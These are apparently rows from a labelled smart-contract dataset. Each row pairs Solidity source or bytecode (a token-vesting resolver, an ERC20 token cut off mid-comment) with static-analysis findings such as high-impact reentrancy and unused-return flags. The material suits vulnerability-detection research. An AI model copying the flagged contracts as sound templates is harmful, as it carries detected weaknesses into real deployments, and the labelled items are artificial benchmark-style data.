565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161040f90611888565b600e5461094f9030906001600160a01b0316683635c9adc5dea00000610b1f565b600e546001600160a01b031663f305d719473061096b81610579565b6000806109806000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0d9190611921565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a8b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048e919061194f565b6000546001600160a01b03163314610ad95760405162461bcd60e51b815260040161040f90611888565b600c81101561048e57600b55565b6000546001600160a01b03163314610b115760405162461bcd60e51b815260040161040f90611888565b600c81101561048e57600c55565b6001600160a01b038316610b815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610be25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610d6b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040f565b6001600160a01b03831660009081526006602052604090205460ff1615610d9157600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dd357506001600160a01b03821660009081526005602052604090205460ff16155b15610f43576000600955600c54600a55600f546001600160a01b038481169116148015610e0e5750600e546001600160a01b03838116911614155b8015610e3357506001600160a01b03821660009081526005602052604090205460ff16155b8015610e485750600f54600160b81b900460ff165b15610e75576000610e5883610579565b601054909150610e6883836111c5565b1115610e7357600080fd5b505b600f546001600160a01b038381169116148015610ea05750600e546001600160a01b03848116911614155b8015610ec557506001600160a01b03831660009081526005602052604090205460ff16155b15610ed6576000600955600b54600a555b6000610ee130610579565b600f54909150600160a81b900460ff16158015610f0c5750600f546001600160a01b03858116911614155b8015610f215750600f54600160b01b900460ff165b15610f4157610f2f8161104b565b478015610f3f57610f3f47610f8d565b505b505b610f4e838383611224565b505050565b60008184841115610f775760405162461bcd60e51b815260040161040f9190611657565b506000610f84848661196c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108c0573d6000803e3d6000fd5b600060075482111561102e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040f565b600061103861122f565b90506110448382611252565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611093576110936118da565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111091906118bd565b81600181518110611123576111236118da565b6001600160a01b039283166020918202929092010152600e546111499130911684610b1f565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611182908590600090869030904290600401611983565b600060405180830381600087803b15801561119c57600080fd5b505af11580156111b0573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111d283856119f4565b9050838110156110445760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040f565b610f4e838383611294565b600080600061123c61138b565b909250905061124b8282611252565b9250505090565b600061104483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cd565b6000806000806000806112a6876113fb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112d89087611458565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130790866111c5565b6001600160a01b0389166000908152600260205260409020556113298161149a565b61133384836114e4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137891815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113a78282611252565b8210156113c457505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836113ee5760405162461bcd60e51b815260040161040f9190611657565b506000610f848486611a0c565b60008060008060008060008060006114188a600954600a54611508565b925092509250600061142861122f565b9050600080600061143b8e87878761155d565b919e509c509a509598509396509194505050505091939550919395565b600061104483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f53565b60006114a461122f565b905060006114b283836115ad565b306000908152600260205260409020549091506114cf90826111c5565b30600090815260026020526040902055505050565b6007546114f19083611458565b60075560085461150190826111c5565b6008555050565b6000808080611522606461151c89896115ad565b90611252565b90506000611535606461151c8a896115ad565b9050600061154d826115478b86611458565b90611458565b9992985090965090945050505050565b600080808061156c88866115ad565b9050600061157a88876115ad565b9050600061158888886115ad565b9050600061159a826115478686611458565b939b939a50919850919650505050505050565b6000826115bc57506000610447565b60006115c88385611a2e565b9050826115d58583611a0c565b146110445760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040f565b801515811461048e57600080fd5b60006020828403121561164c57600080fd5b81356110448161162c565b600060208083528351808285015260005b8181101561168457858101830151858201604001528201611668565b81811115611696576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461048e57600080fd5b80356116cc816116ac565b919050565b600080604083850312156116e457600080fd5b82356116ef816116ac565b946020939093013593505050565b60006020828403121561170f57600080fd5b5035919050565b60008060006060848603121561172b57600080fd5b8335611736816116ac565b92506020840135611746816116ac565b929592945050506040919091013590565b60006020828403121561176957600080fd5b8135611044816116ac565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179d57600080fd5b823567ffffffffffffffff808211156117b557600080fd5b818501915085601f8301126117c957600080fd5b8135818111156117db576117db611774565b8060051b604051601f19603f8301168101818110858211171561180057611800611774565b60405291825284820192508381018501918883111561181e57600080fd5b938501935b8285101561184357611834856116c1565b84529385019392850192611823565b98975050505050505050565b6000806040838503121561186257600080fd5b823561186d816116ac565b9150602083013561187d816116ac565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118cf57600080fd5b8151611044816116ac565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561191a5761191a6118f0565b5060010190565b60008060006060848603121561193657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561196157600080fd5b81516110448161162c565b60008282101561197e5761197e6118f0565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119d35784516001600160a01b0316835293830193918301916001016119ae565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0757611a076118f0565b500190565b600082611a2957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4857611a486118f0565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b16db9923b24726e71cf3e9558207d6b8e6358ea54a5c06b5029f564fec07cf464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,239 |
0x8DC87046e2D1fE68B5839550E15eeF0A351789C9
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File @openzeppelin/contracts/math/SafeMath.sol@v3.4.0-solc-0.7
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File contracts/InstaVestingResolver.sol
interface TokenInterface {
function balanceOf(address account) external view returns (uint);
function delegate(address delegatee) external;
function transfer(address dst, uint rawAmount) external returns (bool);
}
interface InstaVestingInferface {
function owner() external view returns(address);
function recipient() external view returns(address);
function vestingAmount() external view returns(uint256);
function vestingBegin() external view returns(uint32);
function vestingCliff() external view returns(uint32);
function vestingEnd() external view returns(uint32);
function lastUpdate() external view returns(uint32);
function terminateTime() external view returns(uint32);
}
interface InstaVestingFactoryInterface {
function recipients(address) external view returns(address);
}
contract InstaTokenVestingResolver {
using SafeMath for uint256;
TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb);
// InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a);
InstaVestingFactoryInterface public immutable factory;
constructor(address factory_) {
factory = InstaVestingFactoryInterface(factory_);
}
struct VestingData {
address recipient;
address vesting;
address owner;
uint256 vestingAmount;
uint256 vestingBegin;
uint256 vestingCliff;
uint256 vestingEnd;
uint256 lastClaimed;
uint256 terminatedTime;
uint256 vestedAmount;
uint256 unvestedAmount;
uint256 claimedAmount;
uint256 claimableAmount;
}
function getVestingByRecipient(address recipient) external view returns(VestingData memory vestingData) {
address vestingAddr = factory.recipients(recipient);
return getVesting(vestingAddr);
}
function getVesting(address vesting) public view returns(VestingData memory vestingData) {
if (vesting == address(0)) return vestingData;
InstaVestingInferface VestingContract = InstaVestingInferface(vesting);
uint256 vestingBegin = uint256(VestingContract.vestingBegin());
uint256 vestingEnd = uint256(VestingContract.vestingEnd());
uint256 vestingCliff = uint256(VestingContract.vestingCliff());
uint256 vestingAmount = VestingContract.vestingAmount();
uint256 lastUpdate = uint256(VestingContract.lastUpdate());
uint256 terminatedTime = uint256(VestingContract.terminateTime());
uint256 balanceOf = token.balanceOf(vesting);
uint256 claimedAmount;
uint256 claimableAmount;
uint256 vestedAmount;
uint256 unvestedAmount;
if (block.timestamp > vestingCliff) {
uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime;
if (time > vestingEnd) {
vestedAmount = vestingAmount;
if (balanceOf == 0) {
claimableAmount = 0;
claimedAmount = vestedAmount;
} else {
claimableAmount = vestingAmount.mul(vestingEnd - lastUpdate).div(vestingEnd - vestingBegin);
claimedAmount = vestedAmount.sub(claimableAmount);
}
} else {
vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin);
claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin);
claimedAmount = vestedAmount.sub(claimableAmount);
}
unvestedAmount = vestingAmount.sub(vestedAmount);
}
vestingData = VestingData({
recipient: VestingContract.recipient(),
owner: VestingContract.owner(),
vesting: vesting,
vestingAmount: vestingAmount,
vestingBegin: vestingBegin,
vestingCliff: vestingCliff,
vestingEnd: vestingEnd,
lastClaimed: lastUpdate,
terminatedTime: terminatedTime,
vestedAmount: vestedAmount,
unvestedAmount: unvestedAmount,
claimedAmount: claimedAmount,
claimableAmount: claimableAmount
});
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367c61b8e14610051578063c45a015514610081578063cc49ede71461009f578063fc0c546a146100cf575b600080fd5b61006b60048036038101906100669190610ac6565b6100ed565b6040516100789190610e57565b60405180910390f35b6100896101b3565b6040516100969190610dc1565b60405180910390f35b6100b960048036038101906100b49190610ac6565b6101d7565b6040516100c69190610e57565b60405180910390f35b6100d761089a565b6040516100e49190610ddc565b60405180910390f35b6100f56109c8565b60007f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02973ffffffffffffffffffffffffffffffffffffffff1663eb820312846040518263ffffffff1660e01b81526004016101509190610da6565b60206040518083038186803b15801561016857600080fd5b505afa15801561017c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a09190610aef565b90506101ab816101d7565b915050919050565b7f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02981565b6101df6109c8565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561021957610895565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561026657600080fd5b505afa15801561027a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029e9190610b41565b63ffffffff16905060008273ffffffffffffffffffffffffffffffffffffffff166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102ee57600080fd5b505afa158015610302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103269190610b41565b63ffffffff16905060008373ffffffffffffffffffffffffffffffffffffffff1663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b15801561037657600080fd5b505afa15801561038a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ae9190610b41565b63ffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff1662728f766040518163ffffffff1660e01b815260040160206040518083038186803b1580156103fd57600080fd5b505afa158015610411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104359190610b18565b905060008573ffffffffffffffffffffffffffffffffffffffff1663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b15801561047f57600080fd5b505afa158015610493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b79190610b41565b63ffffffff16905060008673ffffffffffffffffffffffffffffffffffffffff166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190610b41565b63ffffffff1690506000736f40d4a6237c257fff2db00fa0510deeecd303eb73ffffffffffffffffffffffffffffffffffffffff166370a082318b6040518263ffffffff1660e01b81526004016105969190610da6565b60206040518083038186803b1580156105ae57600080fd5b505afa1580156105c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e69190610b18565b9050600080600080884211156106f25760008087146106055786610607565b425b90508a81111561066f578892506000861415610629576000935082945061066a565b6106528c8c036106448a8e038c6108b290919063ffffffff16565b61092290919063ffffffff16565b9350610667848461097890919063ffffffff16565b94505b6106db565b6106988c8c0361068a8e84038c6108b290919063ffffffff16565b61092290919063ffffffff16565b92506106c38c8c036106b58a84038c6108b290919063ffffffff16565b61092290919063ffffffff16565b93506106d8848461097890919063ffffffff16565b94505b6106ee838a61097890919063ffffffff16565b9150505b604051806101a001604052808d73ffffffffffffffffffffffffffffffffffffffff166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074457600080fd5b505afa158015610758573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077c9190610aef565b73ffffffffffffffffffffffffffffffffffffffff1681526020018f73ffffffffffffffffffffffffffffffffffffffff1681526020018d73ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f957600080fd5b505afa15801561080d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108319190610aef565b73ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018c81526020018a81526020018b8152602001888152602001878152602001838152602001828152602001858152602001848152509c505050505050505050505050505b919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b6000808314156108c5576000905061091c565b60008284029050828482816108d657fe5b0414610917576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090e90610e37565b60405180910390fd5b809150505b92915050565b6000808211610966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095d90610e17565b60405180910390fd5b81838161096f57fe5b04905092915050565b6000828211156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490610df7565b60405180910390fd5b818303905092915050565b604051806101a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050610a8181610f18565b92915050565b600081519050610a9681610f18565b92915050565b600081519050610aab81610f2f565b92915050565b600081519050610ac081610f46565b92915050565b600060208284031215610ad857600080fd5b6000610ae684828501610a72565b91505092915050565b600060208284031215610b0157600080fd5b6000610b0f84828501610a87565b91505092915050565b600060208284031215610b2a57600080fd5b6000610b3884828501610a9c565b91505092915050565b600060208284031215610b5357600080fd5b6000610b6184828501610ab1565b91505092915050565b610b7381610e84565b82525050565b610b8281610e84565b82525050565b610b9181610ed0565b82525050565b610ba081610ef4565b82525050565b6000610bb3601e83610e73565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000610bf3601a83610e73565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b6000610c33602183610e73565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6101a082016000820151610ca36000850182610b6a565b506020820151610cb66020850182610b6a565b506040820151610cc96040850182610b6a565b506060820151610cdc6060850182610d97565b506080820151610cef6080850182610d97565b5060a0820151610d0260a0850182610d97565b5060c0820151610d1560c0850182610d97565b5060e0820151610d2860e0850182610d97565b50610100820151610d3d610100850182610d97565b50610120820151610d52610120850182610d97565b50610140820151610d67610140850182610d97565b50610160820151610d7c610160850182610d97565b50610180820151610d91610180850182610d97565b50505050565b610da081610eb6565b82525050565b6000602082019050610dbb6000830184610b79565b92915050565b6000602082019050610dd66000830184610b88565b92915050565b6000602082019050610df16000830184610b97565b92915050565b60006020820190508181036000830152610e1081610ba6565b9050919050565b60006020820190508181036000830152610e3081610be6565b9050919050565b60006020820190508181036000830152610e5081610c26565b9050919050565b60006101a082019050610e6d6000830184610c8c565b92915050565b600082825260208201905092915050565b6000610e8f82610e96565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b6000610edb82610ee2565b9050919050565b6000610eed82610e96565b9050919050565b6000610eff82610f06565b9050919050565b6000610f1182610e96565b9050919050565b610f2181610e84565b8114610f2c57600080fd5b50565b610f3881610eb6565b8114610f4357600080fd5b50565b610f4f81610ec0565b8114610f5a57600080fd5b5056fea264697066735822122046c1088ae615e039d545442085982feabe368e49e66186337db77e4fbbd494e364736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,240 |
0x6a55b1105497ce7939349f83cfe8b966845b1eb8
|
/**
*Submitted for verification at Etherscan.io on 2021-09-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
